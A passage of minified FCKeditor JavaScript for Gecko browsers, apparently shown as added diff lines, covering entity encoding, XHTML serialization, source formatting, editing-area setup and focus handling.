B={'À':'Agrave','Á':'Aacute','Â':'Acirc','Ã':'Atilde','Ä':'Auml','Å':'Aring','Æ':'AElig','Ç':'Ccedil','È':'Egrave','É':'Eacute','Ê':'Ecirc','Ë':'Euml','Ì':'Igrave','Í':'Iacute','Î':'Icirc','Ï':'Iuml','Ð':'ETH','Ñ':'Ntilde','Ò':'Ograve','Ó':'Oacute','Ô':'Ocirc','Õ':'Otilde','Ö':'Ouml','Ø':'Oslash','Ù':'Ugrave','Ú':'Uacute','Û':'Ucirc','Ü':'Uuml','Ý':'Yacute','Þ':'THORN','ß':'szlig','à':'agrave','á':'aacute','â':'acirc','ã':'atilde','ä':'auml','å':'aring','æ':'aelig','ç':'ccedil','è':'egrave','é':'eacute','ê':'ecirc','ë':'euml','ì':'igrave','í':'iacute','î':'icirc','ï':'iuml','ð':'eth','ñ':'ntilde','ò':'ograve','ó':'oacute','ô':'ocirc','õ':'otilde','ö':'ouml','ø':'oslash','ù':'ugrave','ú':'uacute','û':'ucirc','ü':'uuml','ý':'yacute','þ':'thorn','ÿ':'yuml','Œ':'OElig','œ':'oelig','Š':'Scaron','š':'scaron','Ÿ':'Yuml'};for (var e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;};if (FCKConfig.IncludeGreekEntities){var B={'Α':'Alpha','Β':'Beta','Γ':'Gamma','Δ':'Delta','Ε':'Epsilon','Ζ':'Zeta','Η':'Eta','Θ':'Theta','Ι':'Iota','Κ':'Kappa','Λ':'Lambda','Μ':'Mu','Ν':'Nu','Ξ':'Xi','Ο':'Omicron','Π':'Pi','Ρ':'Rho','Σ':'Sigma','Τ':'Tau','Υ':'Upsilon','Φ':'Phi','Χ':'Chi','Ψ':'Psi','Ω':'Omega','α':'alpha','β':'beta','γ':'gamma','δ':'delta','ε':'epsilon','ζ':'zeta','η':'eta','θ':'theta','ι':'iota','κ':'kappa','λ':'lambda','μ':'mu','ν':'nu','ξ':'xi','ο':'omicron','π':'pi','ρ':'rho','ς':'sigmaf','σ':'sigma','τ':'tau','υ':'upsilon','φ':'phi','χ':'chi','ψ':'psi','ω':'omega'};for (var e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;}}else{FCKXHtmlEntities.Entities={};A=' ';};var D='['+A+']';if (FCKConfig.ProcessNumericEntities) D='[^ -~]|'+D;var E=FCKConfig.AdditionalNumericEntities;if (E||E.length>0) D+='|'+FCKConfig.AdditionalNumericEntities;FCKXHtmlEntities.EntitiesRegex=new RegExp(D,'g');}
+var FCKXHtml=new Object();FCKXHtml.CurrentJobNum=0;FCKXHtml.GetXHTML=function(A,B,C){FCKXHtmlEntities.Initialize();var D=FCK.IsDirty();this._CreateNode=FCKConfig.ForceStrongEm?FCKXHtml_CreateNode_StrongEm:FCKXHtml_CreateNode_Normal;FCKXHtml.SpecialBlocks=new Array();this.XML=FCKTools.CreateXmlObject('DOMDocument');this.MainNode=this.XML.appendChild(this.XML.createElement('xhtml'));FCKXHtml.CurrentJobNum++;if (B) this._AppendNode(this.MainNode,A);else this._AppendChildNodes(this.MainNode,A,false);var E=this._GetMainXmlString();this.XML=null;E=E.substr(7,E.length-15).trim();if (FCKBrowserInfo.IsGecko) E=E.replace(/<br\/>$/,'');E=E.replace(FCKRegexLib.SpaceNoClose,' />');if (FCKConfig.ForceSimpleAmpersand) E=E.replace(FCKRegexLib.ForceSimpleAmpersand,'&');if (C) E=FCKCodeFormatter.Format(E);for (var i=0;i<FCKXHtml.SpecialBlocks.length;i++){var F=new RegExp('___FCKsi___'+i);E=E.replace(F,FCKXHtml.SpecialBlocks[i]);};E=E.replace(FCKRegexLib.GeckoEntitiesMarker,'&');if (!D) FCK.ResetIsDirty();return E};FCKXHtml._AppendAttribute=function(A,B,C){if (FCKConfig.ForceSimpleAmpersand&&C.replace) C=C.replace(/&/g,'___FCKAmp___');try{var D=this.XML.createAttribute(B);D.value=C?C:'';A.attributes.setNamedItem(D);}catch (e){}};FCKXHtml._AppendChildNodes=function(A,B,C){var D=0;var E=B.firstChild;while (E){if (this._AppendNode(A,E)) D++;E=E.nextSibling;};if (D==0){if (C&&FCKConfig.FillEmptyBlocks){this._AppendEntity(A,'nbsp');return;};if (!FCKRegexLib.EmptyElements.test(B.nodeName)) A.appendChild(this.XML.createTextNode(''));}};FCKXHtml._AppendNode=function(A,B){if (!B) return;switch (B.nodeType){case 1:if (B.getAttribute('_fckfakelement')) return FCKXHtml._AppendNode(A,FCK.GetRealElement(B));if (FCKBrowserInfo.IsGecko&&B.hasAttribute('_moz_editor_bogus_node')) return false;if (B.getAttribute('_fcktemp')) return false;var C=B.nodeName;if (FCKBrowserInfo.IsIE&&B.scopeName&&B.scopeName!='HTML'&&B.scopeName!='FCK') C=B.scopeName+':'+C;if (!FCKRegexLib.ElementName.test(C)) return false;C=C.toLowerCase();if (FCKBrowserInfo.IsGecko&&C=='br'&&B.hasAttribute('type')&&B.getAttribute('type',2)=='_moz') return false;if (B._fckxhtmljob&&B._fckxhtmljob==FCKXHtml.CurrentJobNum) return false;var D=this._CreateNode(C);FCKXHtml._AppendAttributes(A,B,D,C);B._fckxhtmljob=FCKXHtml.CurrentJobNum;var E=FCKXHtml.TagProcessors[C];if (E){D=E(D,B,A);if (!D) break;}else this._AppendChildNodes(D,B,FCKRegexLib.BlockElements.test(C));A.appendChild(D);break;case 3:this._AppendTextNode(A,B.nodeValue.replaceNewLineChars(' '));break;case 8:if (FCKBrowserInfo.IsIE&&!B.innerHTML) break;try { A.appendChild(this.XML.createComment(B.nodeValue));}catch (e) { /* Do nothing... probably this is a wrong format comment. */};break;default:A.appendChild(this.XML.createComment("Element not supported - Type: "+B.nodeType+" Name: "+B.nodeName));break;};return true;};function FCKXHtml_CreateNode_StrongEm(nodeName){switch (nodeName){case 'b':nodeName='strong';break;case 'i':nodeName='em';break;};return this.XML.createElement(nodeName);};function FCKXHtml_CreateNode_Normal(nodeName){return this.XML.createElement(nodeName);};FCKXHtml._AppendSpecialItem=function(A){return '___FCKsi___'+FCKXHtml.SpecialBlocks.AddItem(A);};FCKXHtml._AppendEntity=function(A,B){A.appendChild(this.XML.createTextNode('#?-:'+B+';'));};FCKXHtml._AppendTextNode=function(A,B){A.appendChild(this.XML.createTextNode(B.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity)));return;};function FCKXHtml_GetEntity(character){var sEntity=FCKXHtmlEntities.Entities[character]||('#'+character.charCodeAt(0));return '#?-:'+sEntity+';';};FCKXHtml.TagProcessors=new Object();FCKXHtml.TagProcessors['img']=function(A,B){if (!A.attributes.getNamedItem('alt')) FCKXHtml._AppendAttribute(A,'alt','');var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'src',C);return A;};FCKXHtml.TagProcessors['a']=function(A,B){var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'href',C);FCKXHtml._AppendChildNodes(A,B,false);if (A.childNodes.length==0&&!A.getAttribute('name')) return false;return A;};FCKXHtml.TagProcessors['script']=function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/javascript');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.text)));return A;};FCKXHtml.TagProcessors['style']=function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/css');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.innerHTML)));return A;};FCKXHtml.TagProcessors['title']=function(A,B){A.appendChild(FCKXHtml.XML.createTextNode(FCK.EditorDocument.title));return A;};FCKXHtml.TagProcessors['table']=function(A,B){var C=A.attributes.getNamedItem('class');if (C&&FCKRegexLib.TableBorderClass.test(C.nodeValue)){var D=C.nodeValue.replace(FCKRegexLib.TableBorderClass,'');if (D.length==0) A.attributes.removeNamedItem('class');else FCKXHtml._AppendAttribute(A,'class',D);};FCKXHtml._AppendChildNodes(A,B,false);return A;};FCKXHtml.TagProcessors['ol']=FCKXHtml.TagProcessors['ul']=function(A,B,C){if (B.innerHTML.trim().length==0) return;var D=C.lastChild;if (D&&D.nodeType==3) D=D.previousSibling;if (D&&D.nodeName.toUpperCase()=='LI'){B._fckxhtmljob=null;FCKXHtml._AppendNode(D,B);return;};FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['span']=function(A,B){if (B.innerHTML.length==0) return false;FCKXHtml._AppendChildNodes(A,B,false);return A;}
+FCKXHtml._GetMainXmlString=function(){var A=new XMLSerializer();return A.serializeToString(this.MainNode);};FCKXHtml._AppendAttributes=function(A,B,C){var D=B.attributes;for (var n=0;n<D.length;n++){var E=D[n];if (E.specified){var F=E.nodeName.toLowerCase();var G;if (F.startsWith('_fck')) continue;else if (F.indexOf('_moz')==0) continue;else if (F=='class') G=E.nodeValue;else if (E.nodeValue===true) G=F;else G=B.getAttribute(F,2);this._AppendAttribute(C,F,G);}}}
+var FCKCodeFormatter=new Object();FCKCodeFormatter.Init=function(){var A=this.Regex=new Object();A.BlocksOpener=/\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.BlocksCloser=/\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.NewLineTags=/\<(BR|HR)[^\>]*\>/gi;A.MainTags=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;A.LineSplitter=/\s*\n+\s*/g;A.IncreaseIndent=/^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;A.DecreaseIndent=/^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;A.FormatIndentatorRemove=new RegExp('^'+FCKConfig.FormatIndentator);A.ProtectedTags=/(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi;};FCKCodeFormatter._ProtectData=function(A,B,C,D){return B+'___FCKpd___'+FCKCodeFormatter.ProtectedData.AddItem(C)+D;};FCKCodeFormatter.Format=function(A){if (!this.Regex) this.Init();FCKCodeFormatter.ProtectedData=new Array();var B=A.replace(this.Regex.ProtectedTags,FCKCodeFormatter._ProtectData);B=B.replace(this.Regex.BlocksOpener,'\n$&');;B=B.replace(this.Regex.BlocksCloser,'$&\n');B=B.replace(this.Regex.NewLineTags,'$&\n');B=B.replace(this.Regex.MainTags,'\n$&\n');var C='';var D=B.split(this.Regex.LineSplitter);B='';for (var i=0;i<D.length;i++){var E=D[i];if (E.length==0) continue;if (this.Regex.DecreaseIndent.test(E)) C=C.replace(this.Regex.FormatIndentatorRemove,'');B+=C+E+'\n';if (this.Regex.IncreaseIndent.test(E)) C+=FCKConfig.FormatIndentator;};for (var i=0;i<FCKCodeFormatter.ProtectedData.length;i++){var F=new RegExp('___FCKpd___'+i);B=B.replace(F,FCKCodeFormatter.ProtectedData[i].replace(/\$/g,'$$$$'));};return B.trim();}
+var FCKUndo=new Object();FCKUndo.SaveUndoStep=function(){}
+var FCKEditingArea=function(A){this.TargetElement=A;this.Mode=FCK_EDITMODE_WYSIWYG;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKEditingArea_Cleanup);};FCKEditingArea.prototype.Start=function(A,B){var C=this.TargetElement;var D=FCKTools.GetElementDocument(C);while(C.childNodes.length>0) C.removeChild(C.childNodes[0]);if (this.Mode==FCK_EDITMODE_WYSIWYG){if (FCKBrowserInfo.IsGecko) A=A.replace(/(<body[^>]*>)\s*(<\/body>)/i,'$1'+GECKO_BOGUS+'$2');var E=this.IFrame=D.createElement('iframe');E.src='javascript:void(0)';E.frameBorder=0;E.width=E.height='100%';C.appendChild(E);if (FCKBrowserInfo.IsIE) A=A.replace(/(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi,'$1></base>');this.Window=E.contentWindow;var F=this.Document=this.Window.document;F.open();F.write(A);F.close();if (FCKBrowserInfo.IsGecko10&&!B){this.Start(A,true);return;};this.Window._FCKEditingArea=this;if (FCKBrowserInfo.IsGecko10) this.Window.setTimeout(FCKEditingArea_CompleteStart,500);else FCKEditingArea_CompleteStart.call(this.Window);}else{var G=this.Textarea=D.createElement('textarea');G.className='SourceField';G.dir='ltr';G.style.width=G.style.height='100%';G.style.border='none';C.appendChild(G);G.value=A;FCKTools.RunFunction(this.OnLoad);}};function FCKEditingArea_CompleteStart(){if (!this.document.body){this.setTimeout(FCKEditingArea_CompleteStart,50);return;};var oEditorArea=this._FCKEditingArea;oEditorArea.MakeEditable();FCKTools.RunFunction(oEditorArea.OnLoad);};FCKEditingArea.prototype.MakeEditable=function(){var A=this.Document;if (FCKBrowserInfo.IsIE) A.body.contentEditable=true;else{try{A.designMode='on';A.execCommand('useCSS',false,!FCKConfig.GeckoUseSPAN);A.execCommand('enableObjectResizing',false,!FCKConfig.DisableObjectResizing);A.execCommand('enableInlineTableEditing',false,!FCKConfig.DisableFFTableHandles);}catch (e) {}}};FCKEditingArea.prototype.Focus=function(){try{if (this.Mode==FCK_EDITMODE_WYSIWYG){if (FCKBrowserInfo.IsSafari) this.IFrame.focus();else this.Window.focus();}else this.Textarea.focus();}catch(e) {}};function FCKEditingArea_Cleanup(){this.TargetElement=null;this.IFrame=null;this.Document=null;this.Textarea=null;if (this.Window){this.Window._FCKEditingArea=null;this.Window=null;}}
+var FCKDocumentProcessor=new Object();FCKDocumentProcessor._Items=new Array();FCKDocumentProcessor.AppendNew=function(){var A=new Object();this._Items.AddItem(A);return A;};FCKDocumentProcessor.Process=function(A){var B,i=0;while((B=this._Items[i++])) B.ProcessDocument(A);};var FCKDocumentProcessor_CreateFakeImage=function(A,B){var C=FCK.EditorDocument.createElement('IMG');C.className=A;C.src=FCKConfig.FullBasePath+'images/spacer.gif';C.setAttribute('_fckfakelement','true',0);C.setAttribute('_fckrealelement',FCKTempBin.AddElement(B),0);return C;};var FCKAnchorsProcessor=FCKDocumentProcessor.AppendNew();FCKAnchorsProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('A');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.name.length>0&&(!C.getAttribute('href')||C.getAttribute('href').length==0)){var D=FCKDocumentProcessor_CreateFakeImage('FCK__Anchor',C.cloneNode(true));D.setAttribute('_fckanchor','true',0);C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKPageBreaksProcessor=FCKDocumentProcessor.AppendNew();FCKPageBreaksProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('DIV');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.style.pageBreakAfter=='always'&&C.childNodes.length==1&&C.childNodes[0].style&&C.childNodes[0].style.display=='none'){var D=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',C.cloneNode(true));C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKFlashProcessor=FCKDocumentProcessor.AppendNew();FCKFlashProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('EMBED');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.src.endsWith('.swf',true)){var D=C.cloneNode(true);if (FCKBrowserInfo.IsIE){var E;if (E=C.getAttribute('scale')) D.setAttribute('scale',E);if (E=C.getAttribute('play')) D.setAttribute('play',E);if (E=C.getAttribute('loop')) D.setAttribute('loop',E);if (E=C.getAttribute('menu')) D.setAttribute('menu',E);if (E=C.getAttribute('wmode')) D.setAttribute('wmode',E);if (E=C.getAttribute('quality')) D.setAttribute('quality',E);};var F=FCKDocumentProcessor_CreateFakeImage('FCK__Flash',D);F.setAttribute('_fckflash','true',0);FCKFlashProcessor.RefreshView(F,C);C.parentNode.insertBefore(F,C);C.parentNode.removeChild(C);}}};FCKFlashProcessor.RefreshView=function(A,B){if (B.width>0) A.style.width=FCKTools.ConvertHtmlSizeToStyle(B.width);if (B.height>0) A.style.height=FCKTools.ConvertHtmlSizeToStyle(B.height);};FCK.GetRealElement=function(A){var e=FCKTempBin.Elements[A.getAttribute('_fckrealelement')];if (A.getAttribute('_fckflash')){if (A.style.width.length>0) e.width=FCKTools.ConvertStyleSizeToHtml(A.style.width);if (A.style.height.length>0) e.height=FCKTools.ConvertStyleSizeToHtml(A.style.height);};return e;};
+var FCK_StartupValue;FCK.Events=new FCKEvents(FCK);FCK.Toolbar=null;FCK.HasFocus=false;FCK.StartEditor=function(){FCK.TempBaseTag=FCKConfig.BaseHref.length>0?'<base href="'+FCKConfig.BaseHref+'" _fcktemp="true"></base>':'';FCK.EditingArea=new FCKEditingArea(document.getElementById('xEditingArea'));this.SetHTML(FCKTools.GetLinkedFieldValue());};FCK.Focus=function(){FCK.EditingArea.Focus();};FCK.SetStatus=function(A){this.Status=A;if (A==FCK_STATUS_ACTIVE){FCKFocusManager.AddWindow(window,true);if (FCKBrowserInfo.IsIE) FCKFocusManager.AddWindow(window.frameElement,true);if (FCKConfig.StartupFocus) FCK.Focus();};this.Events.FireEvent('OnStatusChange',A);};FCK.GetHTML=FCK.GetXHTML=function(A){if (FCK.EditMode==FCK_EDITMODE_SOURCE) return FCK.EditingArea.Textarea.value;var B;var C=FCK.EditorDocument;if (FCKConfig.FullPage) B=FCKXHtml.GetXHTML(C.getElementsByTagName('html')[0],true,A);else{if (FCKConfig.IgnoreEmptyParagraphValue&&C.body.innerHTML=='<P>&nbsp;</P>') B='';else B=FCKXHtml.GetXHTML(C.body,false,A);};B=FCK.ProtectEventsRestore(B);if (FCKBrowserInfo.IsIE) B=B.replace(FCKRegexLib.ToReplace,'$1');if (FCK.DocTypeDeclaration&&FCK.DocTypeDeclaration.length>0) B=FCK.DocTypeDeclaration+'\n'+B;if (FCK.XmlDeclaration&&FCK.XmlDeclaration.length>0) B=FCK.XmlDeclaration+'\n'+B;return FCKConfig.ProtectedSource.Revert(B);};FCK.UpdateLinkedField=function(){FCK.LinkedField.value=FCK.GetXHTML(FCKConfig.FormatOutput);FCK.Events.FireEvent('OnAfterLinkedFieldUpdate');};FCK.RegisteredDoubleClickHandlers=new Object();FCK.OnDoubleClick=function(A){var B=FCK.RegisteredDoubleClickHandlers[A.tagName];if (B) B(A);};FCK.RegisterDoubleClickHandler=function(A,B){FCK.RegisteredDoubleClickHandlers[B.toUpperCase()]=A;};FCK.OnAfterSetHTML=function(){FCKDocumentProcessor.Process(FCK.EditorDocument);FCKUndo.SaveUndoStep();FCK.Events.FireEvent('OnSelectionChange');FCK.Events.FireEvent('OnAfterSetHTML');};FCK.ProtectUrls=function(A){A=A.replace(FCKRegexLib.ProtectUrlsA,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');A=A.replace(FCKRegexLib.ProtectUrlsImg,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');return A;};FCK.ProtectEvents=function(A){return A.replace(FCKRegexLib.TagsWithEvent,_FCK_ProtectEvents_ReplaceTags);};function _FCK_ProtectEvents_ReplaceTags(tagMatch){return tagMatch.replace(FCKRegexLib.EventAttributes,_FCK_ProtectEvents_ReplaceEvents);};function _FCK_ProtectEvents_ReplaceEvents(eventMatch,attName){return ' '+attName+'_fckprotectedatt="'+eventMatch.ReplaceAll([/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g],['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'])+'"';};FCK.ProtectEventsRestore=function(A){return A.replace(FCKRegexLib.ProtectedEvents,_FCK_ProtectEvents_RestoreEvents);};function _FCK_ProtectEvents_RestoreEvents(match,encodedOriginal){return encodedOriginal.ReplaceAll([/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g],["'",'"','=','<','>','\r','\n','&']);};FCK.IsDirty=function(){return (FCK_StartupValue!=FCK.EditorDocument.body.innerHTML);};FCK.ResetIsDirty=function(){if (FCK.EditorDocument.body) FCK_StartupValue=FCK.EditorDocument.body.innerHTML;};FCK.SetHTML=function(A){this.EditingArea.Mode=FCK.EditMode;if (FCK.EditMode==FCK_EDITMODE_WYSIWYG){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectEvents(A);A=FCK.ProtectUrls(A);if (FCKBrowserInfo.IsGecko){A=A.replace(FCKRegexLib.StrongOpener,'<b$1');A=A.replace(FCKRegexLib.StrongCloser,'<\/b>');A=A.replace(FCKRegexLib.EmOpener,'<i$1');A=A.replace(FCKRegexLib.EmCloser,'<\/i>');}else if (FCKBrowserInfo.IsIE){A=A.replace(FCKRegexLib.AbbrOpener,'<FCK:abbr$1');A=A.replace(FCKRegexLib.AbbrCloser,'<\/FCK:abbr>');};var B='';if (FCKConfig.FullPage){if (!FCKRegexLib.HeadOpener.test(A)){if (!FCKRegexLib.HtmlOpener.test(A)) A='<html dir="'+FCKConfig.ContentLangDirection+'">'+A+'</html>';A=A.replace(FCKRegexLib.HtmlOpener,'$&<head></head>');};FCK.DocTypeDeclaration=A.match(FCKRegexLib.DocTypeTag);if (FCKBrowserInfo.IsIE) B=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+='<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css'+'" rel="stylesheet" type="text/css" _fcktemp="true" />';B=A.replace(FCKRegexLib.HeadCloser,B+'$&');if (FCK.TempBaseTag.length>0&&!FCKRegexLib.HasBaseTag.test(A)) B=B.replace(FCKRegexLib.HeadOpener,'$&'+FCK.TempBaseTag);}else{B=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"';if (FCKBrowserInfo.IsIE&&!FCKRegexLib.Html4DocType.test(FCKConfig.DocType)) B+=' style="overflow-y: scroll"';B+='><head><title></title>'+this._GetEditorAreaStyleTags()+'<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css'+'" rel="stylesheet" type="text/css" _fcktemp="true" />';if (FCKBrowserInfo.IsIE) B+=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B+='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+=FCK.TempBaseTag;B+='</head><body>';if (FCKBrowserInfo.IsGecko&&(A.length==0||FCKRegexLib.EmptyParagraph.test(A))) B+=GECKO_BOGUS;else B+=A;B+='</body></html>';};this.EditingArea.OnLoad=FCK_EditingArea_OnLoad;this.EditingArea.Start(B);}else{this.EditingArea.OnLoad=null;this.EditingArea.Start(A);this.EditingArea.Textarea._FCKShowContextMenu=true;};if (FCKBrowserInfo.IsGecko) window.onresize();};function FCK_EditingArea_OnLoad(){FCK.EditorWindow=FCK.EditingArea.Window;FCK.EditorDocument=FCK.EditingArea.Document;FCK.InitializeBehaviors();FCK.OnAfterSetHTML();if (FCK.Status!=FCK_STATUS_NOTLOADED) return;FCK.ResetIsDirty();FCKTools.AttachToLinkedFieldFormSubmit(FCK.UpdateLinkedField);FCK.SetStatus(FCK_STATUS_ACTIVE);};FCK._GetEditorAreaStyleTags=function(){var A='';var B=FCKConfig.EditorAreaCSS;for (var i=0;i<B.length;i++) A+='<link href="'+B[i]+'" rel="stylesheet" type="text/css" />';return A;};var FCKFocusManager=FCK.FocusManager=new Object();FCKFocusManager.IsLocked=false;FCK.HasFocus=false;FCKFocusManager.AddWindow=function(A,B){var C;if (FCKBrowserInfo.IsIE) C=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else C=A.document;FCKTools.AddEventListener(C,'blur',FCKFocusManager_Win_OnBlur);FCKTools.AddEventListener(C,'focus',B?FCKFocusManager_Win_OnFocus_Area:FCKFocusManager_Win_OnFocus);};FCKFocusManager.RemoveWindow=function(A){if (FCKBrowserInfo.IsIE) oTarget=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else oTarget=A.document;FCKTools.RemoveEventListener(oTarget,'blur',FCKFocusManager_Win_OnBlur);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus_Area);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus);};FCKFocusManager.Lock=function(){this.IsLocked=true;};FCKFocusManager.Unlock=function(){if (this._HasPendingBlur) FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);this.IsLocked=false;};FCKFocusManager._ResetTimer=function(){this._HasPendingBlur=false;if (this._Timer){window.clearTimeout(this._Timer);delete this._Timer;}};function FCKFocusManager_Win_OnBlur(){if (typeof(FCK)!='undefined'&&FCK.HasFocus){FCKFocusManager._ResetTimer();FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);}};function FCKFocusManager_FireOnBlur(){if (FCKFocusManager.IsLocked) FCKFocusManager._HasPendingBlur=true;else{FCK.HasFocus=false;FCK.Events.FireEvent("OnBlur");}};function FCKFocusManager_Win_OnFocus_Area(){FCKFocusManager_Win_OnFocus();FCK.Focus();};function FCKFocusManager_Win_OnFocus(){FCKFocusManager._ResetTimer();if (!FCK.HasFocus&&!FCKFocusManager.IsLocked){FCK.HasFocus=true;FCK.Events.FireEvent("OnFocus");}}
+FCK.Description="FCKeditor for Gecko Browsers";FCK.InitializeBehaviors=function(){Window_OnResize();FCKFocusManager.AddWindow(this.EditorWindow);var A=function(e){var B;if (e.ctrlKey&&!e.shiftKey&&!e.altKey){switch (e.which){case 66:case 98:FCK.ExecuteNamedCommand('bold');B=true;break;case 105:case 73:FCK.ExecuteNamedCommand('italic');B=true;break;case 117:case 85:FCK.ExecuteNamedCommand('underline');B=true;break;case 86:case 118:B=(FCK.Status!=FCK_STATUS_COMPLETE||!FCK.Events.FireEvent("OnPaste"));break;}}else if (e.shiftKey&&!e.ctrlKey&&!e.altKey&&e.keyCode==45) B=(FCK.Status!=FCK_STATUS_COMPLETE||!FCK.Events.FireEvent("OnPaste"));if (B){e.preventDefault();e.stopPropagation();}};this.EditorDocument.addEventListener('keypress',A,true);this.ExecOnSelectionChange=function(){FCK.Events.FireEvent("OnSelectionChange");};this.ExecOnSelectionChangeTimer=function(){if (FCK.LastOnChangeTimer) window.clearTimeout(FCK.LastOnChangeTimer);FCK.LastOnChangeTimer=window.setTimeout(FCK.ExecOnSelectionChange,100);};this.EditorDocument.addEventListener('mouseup',this.ExecOnSelectionChange,false);this.EditorDocument.addEventListener('keyup',this.ExecOnSelectionChangeTimer,false);this._DblClickListener=function(e){FCK.OnDoubleClick(e.target);e.stopPropagation();};this.EditorDocument.addEventListener('dblclick',this._DblClickListener,true);FCK.ContextMenu._InnerContextMenu.SetMouseClickWindow(FCK.EditorWindow);FCK.ContextMenu._InnerContextMenu.AttachToElement(FCK.EditorDocument);};FCK.MakeEditable=function(){this.EditingArea.MakeEditable();};function Document_OnContextMenu(e){if (!e.target._FCKShowContextMenu) e.preventDefault();};document.oncontextmenu=Document_OnContextMenu;
+FCK.RedirectNamedCommands=new Object();FCK.ExecuteNamedCommand=function(A,B,C){FCKUndo.SaveUndoStep();if (!C&&FCK.RedirectNamedCommands[A]!=null) FCK.ExecuteRedirectedNamedCommand(A,B);else{FCK.Focus();FCK.EditorDocument.execCommand(A,false,B);FCK.Events.FireEvent('OnSelectionChange');};FCKUndo.SaveUndoStep();};FCK.GetNamedCommandState=function(A){try{if (!FCK.EditorDocument.queryCommandEnabled(A)) return FCK_TRISTATE_DISABLED;else return FCK.EditorDocument.queryCommandState(A)?FCK_TRISTATE_ON:FCK_TRISTATE_OFF;}catch (e){return FCK_TRISTATE_OFF;}};FCK.GetNamedCommandValue=function(A){var B='';var C=FCK.GetNamedCommandState(A);if (C==FCK_TRISTATE_DISABLED) return null;try{B=this.EditorDocument.queryCommandValue(A);}catch(e) {};return B?B:'';};FCK.PasteFromWord=function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteFromWord,'dialog/fck_paste.html',400,330,'Word');};FCK.Preview=function(){var A=FCKConfig.ScreenWidth*0.8;var B=FCKConfig.ScreenHeight*0.7;var C=(FCKConfig.ScreenWidth-A)/2;var D=window.open('',null,'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width='+A+',height='+B+',left='+C);var E;if (FCKConfig.FullPage){if (FCK.TempBaseTag.length>0) E=FCK.TempBaseTag+FCK.GetXHTML();else E=FCK.GetXHTML();}else{E=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'">'+'<head>'+FCK.TempBaseTag+'<title>'+FCKLang.Preview+'</title>'+FCK._GetEditorAreaStyleTags()+'</head><body>'+FCK.GetXHTML()+'</body></html>';};D.document.write(E);D.document.close();};FCK.SwitchEditMode=function(A){var B=(FCK.EditMode==FCK_EDITMODE_WYSIWYG);var C;if (B){if (!A&&FCKBrowserInfo.IsIE) FCKUndo.SaveUndoStep();C=FCK.GetXHTML(FCKConfig.FormatSource);}else C=this.EditingArea.Textarea.value;FCK.EditMode=B?FCK_EDITMODE_SOURCE:FCK_EDITMODE_WYSIWYG;FCK.SetHTML(C);FCK.Focus();FCKTools.RunFunction(FCK.ToolbarSet.RefreshModeState,FCK.ToolbarSet);};FCK.CreateElement=function(A){var e=FCK.EditorDocument.createElement(A);return FCK.InsertElementAndGetIt(e);};FCK.InsertElementAndGetIt=function(e){e.setAttribute('FCKTempLabel','true');this.InsertElement(e);var A=FCK.EditorDocument.getElementsByTagName(e.tagName);for (var i=0;i<A.length;i++){if 